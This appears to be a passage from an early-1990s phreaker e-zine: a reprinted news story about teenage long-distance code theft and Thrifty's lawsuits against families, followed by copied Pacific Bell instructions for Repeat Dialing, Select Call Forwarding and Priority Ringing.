hacking programs with names such as "Code Thief Deluxe" are widely available and can be downloaded without charge from computer bulletin boards. "It's becoming a subculture. Just as kids were sucked into 'Dungeons and Dragons' they're being sucked into hacking," said Herring of Thrifty. Often teen-age hackers are highly intelligent loners, addicted to the worldwide computer bulletin boards that allow them to communicate with others of their ilk. "But they run up $300 to $400 in monthly phone bills, their parents go ballistic, so they turn to hacking," Herring said. Unknown to the young hackers, some calls can be traced. [Notice this SOME] Digging through stacks of computer printouts, Herring and other experts at Thrifty have followed the electronic trail over the past three years to : * A high school student in Santa Ana who was blamed for more than $240,000 in losses to Thrifty and two other longdistance companies in 1991. The boy pleaded guilty to telephone fraud. * A six-member ring of San Diego high school students who raided the system in March. Tehir families are paying more than $100,000 in damages. Herring said the response from parents is always the same. "Their first reaction is they want to kill their kids. Then, 24 hours later, they want to kill us," Herring said. Last year, a 63-year-old father from San Diego responded to Thrifty's demand for $16,000 by filing a harassment suit. The man contended that he suffered from a nervous condition and had been warned by his doctor to avoid emotional shock. And what could be more shocking then begin hit with Thrifty's $2,880-a-day tariff, which the Public Utilities Commision approved in 1990? The tariff is meant to recover the costs of investigating hackers, paying attorneys and losing customers who've been victimized. While the fee has been upheld in court, some parents complain that it is unfar and inflated. The actual cost of the pirated phone calls ammounts to only a small part of the huge damages sought by Thrifty. Part of Thrifty's aggression in civil court comes from its growing inability to get the hackers into criminal court. (--------------------------------------------------------) New Pacific Bell Features by Chaos (--------------------------------------------------------) Repeat Dialing ~~~~~~~~~~~~~~ It happens often. You need to make an important call--but the phone number you're trying to reach is busy. You could keep trying. But it's a lot easier to let Repeat Dialing keep trying for you. Repeat Dialing redials the last phone number you called, and keeps trying ever 45 seconds for up to 30 minutes. To use repeat dialing : To call back the last number you dialed * Hang up;lift receiver;wait for dialtone * Press *66 (Rotary phone dial 1166). If this line is now free, your call will go through as usual. If the line is still busy: * Wait for recorded instructions. They will tell you what to do next. Then hangup. * Use your phone as usual to make or receive calls. When you line and the line you're trying to reach are both free : * Your phone will signal you with a distinctive ring. * Lift your receiver. Your call will be places automatically. Select Call Forwarding ~~~~~~~~~~~~~~~~~~~~~~ You have to go out--but you're also expecting an important call. Now you can have that call forwarded to you--and other important calls, too. But you won't have to get the unimportant ones. Now you can select just the calls you want with Select Call Forwarding. To use select call forwarding: * Lift receiver; wait for dial tone. * Press *63 (Rotart phone dial 1163). * Dial 3;wait until recorded instructions begin. To enter your forwarding phone number. * Enter phone number where calls should go, then press # (Rotary phone simply dial phone number). * If the phone number is correct, dial 1. * If the phone number is not correct dial 0; then enter the correct forwarding phone number, * Wait for confirmation announcment. Priority Ringing ~~~~~~~~~~~~~~~~ Wouldn't it be nice to know--before answering--if a phone call was from somebody you really wanted to talk to? Now, with Priority Ringing, your telephone will tell you when a call is important. To use priority ringing: * Lift receiver; wait for dial tone. * Press *61 (Rotary dial 1161). * Dial 3 * Use list editing commands Notice ~~~~~~ The new Custom Calling servies are not available with some types of telephone services and are not available in some areas. These services work only on calls to and from locations within the same calling area. If you have dificulty using a feature from a particular phone number, contact your local Pacific Bell Business Office for information about specific telephone prefixes currently included in your Service Area. Misc. Info ~~~~~~~~~~ Remember, send all mail to : MAGIK@pnet01.cts.com VIA Internet or (lamers) WWiVNeT #151 @16964 (-eof-) .